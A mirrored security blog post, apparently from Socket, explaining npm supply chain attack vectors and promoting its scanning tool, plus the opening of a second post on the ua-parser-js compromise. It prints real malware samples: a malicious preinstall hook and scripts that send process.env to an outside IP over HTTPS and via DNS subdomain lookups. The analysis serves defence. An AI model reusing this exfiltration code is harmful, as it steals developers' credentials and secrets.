<span class="hljs-keyword">catch</span>(_0xdc6a7c){_0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}}}(_0x6450,-<span class="hljs-number">0x4f0c0</span>+ | |||
<span class="hljs-number">0x260b</span>+<span class="hljs-number">0x29</span>*<span class="hljs-number">0x4445</span>));<span class="hljs-keyword">const</span> _0x206d7b=(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x2debc5</span>(<span class="hljs-params">_0x482afc, | |||
_0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x18ac59- -<span class="hljs-number">0x3d1</span>,_0x17d73a);} | |||
... | |||
</code></pre> | |||
<p>I can tell you that even without knowing exactly what this code is | |||
doing, you can bet this is not something that you want to run on your machine.</p> | |||
<h2>2. Dependency confusion</h2> | |||
<p>This attack vector is pretty closely related to typosquatting. Dependency | |||
confusion happens when a company publishes packages to an internal npm registry | |||
and uses a name that hasn't yet been registered on the public npm registry. | |||
Later, an attacker can come along and register the available package. Now | |||
there's a private legitimate package and a public malware package, both with the | |||
same name.</p> | |||
<p>Many internal tools are poorly-written and they may prefer to install the public version | |||
of the package instead of the private one, which means that the attacker's code will be installed.</p> | |||
<p>Looking through the <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">recently removed npm packages</a>, we were able to find dozens of likely dependency confusion attacks, where package names appear to conflict with internal company package names. Major corporations, US federal agencies, and US government contractors were all affected.</p> | |||
<ul> | |||
<li>Yahoo | |||
</li> | |||
<li>EURid (registry manager for EU) | |||
</li> | |||
<li>18F (US Federal agency) | |||
</li> | |||
<li>Unity (game engine) | |||
</li> | |||
<li>Palantir (government contractor) | |||
</li> | |||
<li>DuckDuckGo (search engine) | |||
</li> | |||
<li>Shippo (shipping company) | |||
</li> | |||
<li>GrubHub (food delivery company) | |||
</li> | |||
<li>Wix (website builder) | |||
</li> | |||
</ul> | |||
<p>How were attackers able to figure out these private package names? There are many possible ways, but it's worth noting that npm itself was <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://www.bleepingcomputer.com/news/security/npm-fixes-private-package-names-leak-serious-authorization-bug/">leaking a subset of private package names<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> for several weeks which didn't help the problem.</p> | |||
<h2>3. Hijacked packages</h2> | |||
<p>The third vector that we see a lot is hijacked packages. These are the ones that | |||
you've probably seen in the news every few weeks.</p> | |||
<p>Criminals and miscreants find ways to infiltrate our communities and and infect | |||
popular packages. Once they get control of a package and they can publish to it, | |||
they'll steal credentials or install backdoors or abuse compute resources for | |||
cryptocurrency mining.</p> | |||
<p>This type of attack happens for various reasons:</p> | |||
<ul> | |||
<li>Maintainers choose weak passwords</li> | |||
<li>Maintainers reuse passwords</li> | |||
<li>Maintainers get malware on their laptops</li> | |||
<li>npm doesn't enforce 2FA for all accounts (though they've started to enforce this for top accounts)</li> | |||
<li>Maintainers give access to malicious actors</li> | |||
</ul> | |||
<p>Overworked maintainers are particularly susceptible to this type of attack. When | |||
someone offers a helping hand to a burned out maintainer, it's sometimes hard | |||
for them to say no.</p> | |||
<h2>4. Install scripts</h2> | |||
<p>As we mentioned before, install scripts are a huge vector. An install script | |||
allows a package to automatically run code upon package installation.</p> | |||
<p>Most npm malware uses install scripts. In fact, 56% of malicious packages start their routines on installation.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Most malicious packages (56%) start their routines on installation, which | |||
might be due to poor handling of arbitrary code during install</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div> | |||
<p>npm allows packages to run code during the installation process. Unfortunately, install scripts do have some legitimate uses, so we can't just remove this feature from npm without breaking the ecosystem. It's not an easy problem to solve.</p> | |||
<h2>5. Permission creep (shell, network, filesystem, environment vars)</h2> | |||
<p>Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.</p> | |||
<p>Privileged APIs are used in most malware because attackers usually want to steal some secrets, download an executable payload, or run some shell scripts.</p> | |||
<p>Though legitimate packages do sometimes introduce privileged APIs in later package versions, this signal is often a telltale sign of malware, especially when these APIs are introduced in a patch version. Attackers like to publish their malware in a patch version to maximize the number of potential victims who will install it through loose semver ranges.</p> | |||
<p>Let's look at an example of a malicious package that uses privileged APIs:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-json">{ | |||
<span class="hljs-attr">"name"</span>: <span class="hljs-string">"<redacted>"</span>, | |||
<span class="hljs-attr">"version"</span>: <span class="hljs-string">"9998.9999.2"</span>, | |||
<span class="hljs-attr">"description"</span>: <span class="hljs-string">"..."</span>, | |||
<span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>, | |||
<span class="hljs-attr">"scripts"</span>: { | |||
<span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" && exit 1"</span>, | |||
<span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node dns.js | node index.js | node specific-fields.js"</span> | |||
}, | |||
<span class="hljs-attr">"files"</span>: [<span class="hljs-string">"specific-fields.js"</span>, <span class="hljs-string">"index.js"</span>, <span class="hljs-string">"dns.js"</span>], | |||
<span class="hljs-attr">"author"</span>: <span class="hljs-string">""</span>, | |||
<span class="hljs-attr">"license"</span>: <span class="hljs-string">"ISC"</span> | |||
} | |||
</code></pre> | |||
<p>Again this is a standard install script attack vector. But it runs a few | |||
different payloads, each using a different technique.</p> | |||
<p>Let's look at the first:</p> | |||
<h3><code>http.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>) | |||
req = http | |||
.request({ | |||
<span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>, | |||
<span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>, | |||
<span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>, | |||
<span class="hljs-attr">headers</span>: { | |||
<span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>, | |||
<span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ | |||
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span> | |||
} | |||
}) | |||
.on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{}) | |||
req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>)) | |||
req.end() | |||
</code></pre> | |||
<p>You can see that the malware collects the environment variables via | |||
<code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP | |||
address.</p> | |||
<p>But this malware also uses a backup exfiltration technique:</p> | |||
<h3><code>dns.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>) | |||
<span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>) | |||
<span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver() | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{ | |||
<span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>) | |||
<span class="hljs-keyword">return</span> string.match(re) | |||
} | |||
resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>]) | |||
<span class="hljs-keyword">var</span> d = process.env || {} | |||
<span class="hljs-keyword">var</span> data = redactedForBrevity() | |||
<span class="hljs-keyword">var</span> encData = zlib | |||
.brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data))) | |||
.toString(<span class="hljs-string">'hex'</span>) | |||
<span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>) | |||
<span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now() | |||
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < ch.length; i++) { | |||
<span class="hljs-keyword">const</span> domain = [<span class="hljs-string">'l'</span> + dt, i + <span class="hljs-number">1</span>, ch.length, ch[i]].join(<span class="hljs-string">'.'</span>) | |||
resolver.resolve4(domain, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{}) | |||
} | |||
</code></pre> | |||
<p>In addition to HTTP, it uses DNS to send the data to the attacker. This is | |||
useful when an firewall is present since these often don't block DNS lookups.</p> | |||
<p>To pull this off, the attacker uses a custom DNS resolver and puts the | |||
environment variables they're stealing into a subdomain.</p> | |||
<p>And finally, our last attack technique...</p> | |||
<h2>6. Obfuscation</h2> | |||
<p>We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, although we have techniques to detect obfuscation and we use that as a strong negative signal.</p> | |||
<p>Another type of obfuscation is when attackers publish different code to npm than | |||
they publish on GitHub. When they do that, npm doesn't make it easy to see what | |||
code is actually in the npm package, and so a lot of people who are trying to | |||
evaluate a package will rely on the version of the code that's on GitHub. | |||
There's no guarantee that the code on GitHub is the same as the code on npm.</p> | |||
<p>Now let's talk about how you can protect your app.</p> | |||
<h2>How can you protect your app from supply chain attacks?</h2> | |||
<p>We asked ourselves this question when we were working on | |||
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app">Wormhole<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>, which lets you share files with end-to-end | |||
encryption. Our goal was to make Wormhole the best way to send files, combining the usability of a web app with <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app/security">best-in-class security<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>.</p> | |||
<p><a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app"></a></p> | |||
<p>As the frequency of npm supply chain attacks increased throughout 2021, we became concerned about the safety of our dependencies.</p> | |||
<p>We realized we needed to improve the way we vet our open source dependencies or else we would be leaving our user's security and privacy to chance. We didn't feel comfortable telling people to trust our service with their most precious data when malware could be lurking in any dependency update.</p> | |||
<p>We started thinking carefully about this problem space and started building | |||
solutions. Here are some of the things we did, and what you can do too:</p> | |||
<h2>1. Change the way you think about dependencies</h2> | |||
<p>As an industry, we need a mindset shift around the way we use dependencies. Too | |||
many developers assume they can just install open source code from the internet | |||
and, barring bugs, it will always do what it says on the tin. Unfortunately, as | |||
we've seen, this just isn't true.</p> | |||
<p>Open source is like an all-you-can-eat buffet – no one will stop you from | |||
scooping an unlimited number of dependencies onto your plate. Of course, like a | |||
buffet, there are health consequences to overindulging. You take a small hit | |||
with each dependency you install.</p> | |||
<p>If you're shipping code to production that includes open source code, then you must treat the open source code as part of your app. You are ultimately responsible for the behavior of that code.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>You are responsbile for the code that you ship to production, whether you | |||
wrote it or it comes from open source.</p></aside></div></div> | |||
<p>The most popular open source license, the MIT license, actually literally says | |||
this:</p> | |||
<blockquote> | |||
<p><strong>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED</strong>, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. <strong>IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY</strong>, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p> | |||
</blockquote> | |||
<p>Most developers don't think of open source this, way but it's actually how it works.</p> | |||
<h2>2. Dig deeper than the README</h2> | |||
<p>Many developers rely on heuristics to determine if a package is good:</p> | |||
<ul> | |||
<li>✅ Does it get the job done?</li> | |||
<li>✅ Does it have good docs?</li> | |||
<li>✅ Does it have lots of downloads and GitHub stars?</li> | |||
<li>✅ Does it have recent commits?</li> | |||
<li>✅ Does it have tests? Types?</li> | |||
</ul> | |||
<p>Checking for these things is good, but it's not enough to stop supply chain | |||
attacks. To stop attacks, you must dig deeper.</p> | |||
<p>We built a tool called <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a> to help you do this.</p> | |||
<p>We built Socket to look for the markers present in the recent npm supply chain | |||
attacks (as discussed above). Unlike other tools such as Snyk or Dependabot, | |||
Socket analyzes the actual <strong>behavior</strong> of a package instead of relying on stale | |||
data from a known vulnerability (CVE) database. This way, we can detect and | |||
block attacks before they've been discovered by the community.</p> | |||
<p>You can use Socket to quickly evaluate the security of a package:</p> | |||
<p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"></a></p> | |||
<p>In this example, you can see that <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"><code>bufferutil</code></a> | |||
contains install scripts. It's called out prominently at the top of the page, | |||
along with a link to the exact code that will run when you run <code>npm install bufferutil</code>. | |||
In this instance, <code>bufferutil</code>'s use of install scripts is legitimate, but it's | |||
nice to be able to know <em>before</em> you run <code>npm install bufferutil</code> that code will | |||
be immedately executed, as well as what that code will do, so that you can make an informed decision about whether to proceed.</p> | |||
<p>You'll also notice helpful Package Health scores at the top of the page.</p> | |||
<p>Now let's take a look at another example:</p> | |||
<p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar"></a></p> | |||
<p>The package <code>angular-calendar</code> is quite a useful package. It's a calendar | |||
web component that renders a little calendar widget.</p> | |||
<p>But, if you dig into its dependencies, you'll actually find that some of them have behavior that is potentially concerning:</p> | |||
<p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar/issues"></a></p> | |||
<p>You can see here that one of <code>angular-calendar</code>'s dependencies contains install scripts, runs shell scripts, accesses the file system, and accesses the network.</p> | |||
<p>This is probably not something that you would expect a web component to be doing, and so it may be worth some further investigation to figure out what's going on | |||
here before you use this package.</p> | |||
<p>Fortunately, Socket makes it easy to see which code is triggering a security issue. Just click any issue to jump straight to the line of code that is causing the issue.</p> | |||
<p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/@scarf/scarf/files/1.1.1/report.js"></a></p> | |||
<p>In this example, you can see the exact line of code where this package accesses the network, the shell, the filesystem, environment variables, and more.</p> | |||
<p>Socket makes it easy to get an idea of what a package will do <em>before you install it</em>.</p> | |||
<p>If you want to research packages on Socket to make an informed decision before | |||
you install them, you can do that by visiting <a class="chakra-link css-f4h6uy" href="https://socket.dev/">socket.dev</a>. | |||
Pro-tip: you can use our handy shortcut and just visit | |||
<code>socket.dev/<package-name></code> to go straight to a package page. For example, try | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/fastify">socket.dev/fastify</a>.</p> | |||
<h2>3. Update your dependencies at the right cadence</h2> | |||
<p>How quickly should you update your dependencies? This is a question that a lot of teams, including our own, struggled with.</p> | |||
<p>Should you err on the side of updating slowly or quickly?</p> | |||
<p>If you <strong>update slowly</strong> you're exposed to <strong>known vulnerabilities</strong> and you're running code that's old and may have bugs that have been fixed in a newer version. Not only that, if a security vulnerability is discovered in the future, being on a super old version will make it harder to update to take the security fix.</p> | |||
<p>On the other hand, if you <strong>update quickly</strong> you expose yourself to <strong>supply chain attacks</strong> because you're now running code that may have been published <em>literally hours ago</em> which means that very few, if any, eyeballs have had a chance to look at the code.</p> | |||
<p>This is a hard tradeoff to balance. Different teams will make different decisions.</p> | |||
<p>However, you can use Socket to help. With the Socket | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, you can accept most dependency updates quickly – | |||
those where the package's capabilities have not changed – while reserving time | |||
to review more significant updates. This way you can spend your limited team | |||
resources auditing the highest-impact dependency updates, instead of choosing an | |||
all-or-nothing approach.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection | |||
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the | |||
GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>4. Audit your dependencies</h2> | |||
<p>How closely should you audit a dependency before allowing it into your app?</p> | |||
<p>One option is to do a <strong>full audit</strong> – literally read every line of code in | |||
every dependency. Google is known to do a full audit and then to vendor their | |||
open source dependencies. This is great for preventing supply chain attacks but | |||
it takes a full-time team to manage this – the audits, the updates, the | |||
allowlist, applying critical security patches – and even still, Google is | |||
usually several major versions behind for most libraries. This approach is out | |||
of reach for all but the largest companies or the most security-critical | |||
applications (e.g. crypto wallets). It's lots of work, it's slow, it's | |||
expensive.</p> | |||
<p>On the other hand, <strong>doing nothing</strong> is also an option – and it's the one that | |||
most teams take. On most teams, any developer can install any dependency they | |||
want to get the job done. Most of the time, no one on the team even looks at the | |||
code in these dependencies before approving the pull request. As you might | |||
expect, this approach leaves you completely vulnerable to supply chain attacks, | |||
it's risky, and it can be expensive, albeit in the form of breaches, bad press, | |||
and government fines.</p> | |||
<p>Without tooling, this is a hard tradeoff to manage, which explains why most teams just do nothing.</p> | |||
<p>However, Socket can help here too. With the Socket <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, | |||
you can accept most dependency updates without auditing the code – especially if | |||
there are no issues detected by Socket – while reserving time to review packages | |||
which have risky behavior such as using <code>eval()</code>, or that contain obscuted code. | |||
Socket helps you spend your limited team resources auditing the highest-impact | |||
dependency updates, instead of choosing an all-or-nothing approach.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection | |||
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the | |||
GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>Find the happy medium with Socket</h2> | |||
<p>You don't need to throw your hands up in exasperation and do nothing about supply chain risk. We built Socket to be the antidote to an all-or-nothing approach.</p> | |||
<p>With the Socket approach:</p> | |||
<ul> | |||
<li>Use automation to automatically evaluate all dependencies</li> | |||
<li>Detect and block attacks such as malware, hidden code, typo-squatting, etc.</li> | |||
<li>Have humans manually audit suspicious packages (i.e. new capabilities added)</li> | |||
<li>Provide security information directly in pull request comments</li> | |||
</ul> | |||
<h2>How to use Socket today</h2> | |||
<p>You can install Socket as a <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>. It will automatically evaluate all changes to <code>package.json</code> and other “package manifest” files such as <code>package-lock.json</code> and <code>yarn.lock</code>. Whenever a new dependency is added in a pull request, Socket will evaluate it and leave a comment indicating if it is a security risk.</p> | |||
<p>For example, say that you accidentally installed <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> instead of <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserslist"><code>browserslist</code></a>, a very easy mistake to make. Socket will detect this and leave a comment in the pull request:</p> | |||
<p><a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations"></a></p> | |||
<p>With the Socket GitHub App in place, the developer who opened the pull request | |||
(or the developer reviewing it) will have their attention drawn to this | |||
typosquat issue. Socket doesn't get in the way, but it does augment your review | |||
process.</p> | |||
<p>Before we started building Socket, I | |||
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://github.com/preactjs/preact-cli/pull/1576">found this exact typosquat issue<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> in the popular <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/preact"><code>preact</code></a> package. It's an easy mistake to | |||
make, and that's probably why <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> | |||
continues to be downloaded 15,000 times each week.</p> | |||
<p>This particular example with <code>browserlist</code> is not unique. There are hundreds of | |||
thousands of npm packages within 1-2 characters of each other, so this is a very | |||
easy mistake to make. Typosquatting is one of the most common supply chain | |||
attack vectors.</p> | |||
<p>Socket has <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">60 detections</a> in five different categories – supply | |||
chain risk, quality, maintenance, known vulnerabilities, and license. Each of | |||
these issues won't immediately trigger an alert. Rather, we use each of these | |||
issues as one signal into supply chain risk formula that determines whether we | |||
will raise an issue to your attention. Socket aims to only raises high signal | |||
issues that are worth your precious time and attention.</p> | |||
<p>If you decide to <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">install the Socket GitHub App</a>, we're eager for | |||
your feedback. Please join our Discord (link in the footer) or <a class="chakra-link css-f4h6uy" href="https://socket.dev/contact">send us an email</a>.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>How much will Socket cost?</h2> | |||
<p>Open source package search with Socket Package Health Scores are <strong>free to | |||
everyone</strong> on our website, <a class="chakra-link css-f4h6uy" href="https://socket.dev/">https://socket.dev</a>.</p> | |||
<p>Socket integrations, such as the <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, are <strong>free for open source repositories, forever</strong>. For private repositories, Socket is free while we're in beta. We're still working out pricing; we're aiming to keep it affordable so every team can get protected.</p> | |||
<h2>We can improve supply chain security, together!</h2> | |||
<p>The open source ecosystem faces an unprecedented supply chain security threat but all hope is not lost. As developers, we can take responsibility for our software supply chain and help make the world a safer place.</p> | |||
<p>P.S. We're hiring at Socket! Check out our <a class="chakra-link css-f4h6uy" href="https://socket.dev/jobs">jobs page</a> if you're | |||
interested in working to secure the software supply chain.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,618 @@ | |||
title: What’s Really Going On Inside Your node_modules Folder? | |||
url: https://socket.dev/blog/inside-node-modules | |||
hash_url: 0d024905896d89f8bd499e2a6170b59e | |||
<h2>Let me tell you a story...</h2> | |||
<p>On January 13, 2012, over ten year ago, a developer named Faisal Salman | |||
published a new project to GitHub called <code>ua-parser-js</code> and it parsed user agent | |||
strings. Lots of people found this project useful. Over the next 10 years, | |||
Faisal continued to develop the package along with help from many open source | |||
contributors. It eventually grew to 7 million downloads per week and was used by | |||
nearly 3 million GitHub repositories.</p> | |||
<h2>Now, let me tell you a different story...</h2> | |||
<p>On October 5th, 2021 on a notorious Russian hacking forum, this post appeared:</p> | |||
<pre><code class="hljs language-md">I sell a development account on npmjs.com, more than 7 million installations | |||
every week, more than 1000 others are dependent on this. | |||
There is no 2FA on the account. Login and password access. The password is | |||
enough to change your email. | |||
Suitable for distributing installations, miners, creating a botnet | |||
Start $10k | |||
Step $1k | |||
Blitz $20k | |||
</code></pre> | |||
<p>This hacker was offering to sell the password to an npm account that controlled a package with over 7 million weekly downloads. His asking price was $20,000 USD for the password.</p> | |||
<h2>This is where the two stories intersect</h2> | |||
<p>Two weeks later, on Friday, October 22, 2021 at 12:15pm GMT, <code>ua-parser-js</code> was compromised. Three malicious versions were published – <code>0.7.29</code>, <code>0.8.0</code>, and <code>1.0.0</code> – which contained malware. The malware was particularly nasty and it caught everyone by surprise.</p> | |||
<h2>Anatomy of a supply chain attack</h2> | |||
<p>Let's take a look at what that malware does. This is the <code>package.json</code> file for one of the | |||
compromised versions:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-json">{ | |||
<span class="hljs-attr">"title"</span>: <span class="hljs-string">"UAParser.js"</span>, | |||
<span class="hljs-attr">"name"</span>: <span class="hljs-string">"ua-parser-js"</span>, | |||
<span class="hljs-attr">"version"</span>: <span class="hljs-string">"0.7.29"</span>, | |||
<span class="hljs-attr">"author"</span>: <span class="hljs-string">"Faisal Salman <<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="13755375727a60727f7e727d3d707c7e">[email protected]</a>> (http://faisalman.com)"</span>, | |||
<span class="hljs-attr">"description"</span>: <span class="hljs-string">"Lightweight JavaScript-based user-agent string parser"</span>, | |||
<span class="hljs-attr">"main"</span>: <span class="hljs-string">"src/ua-parser.js"</span>, | |||
<span class="hljs-attr">"scripts"</span>: { | |||
<span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"start /B node preinstall.js & node preinstall.js"</span>, | |||
<span class="hljs-attr">"build"</span>: <span class="hljs-string">"uglifyjs src/ua-parser.js ..."</span>, | |||
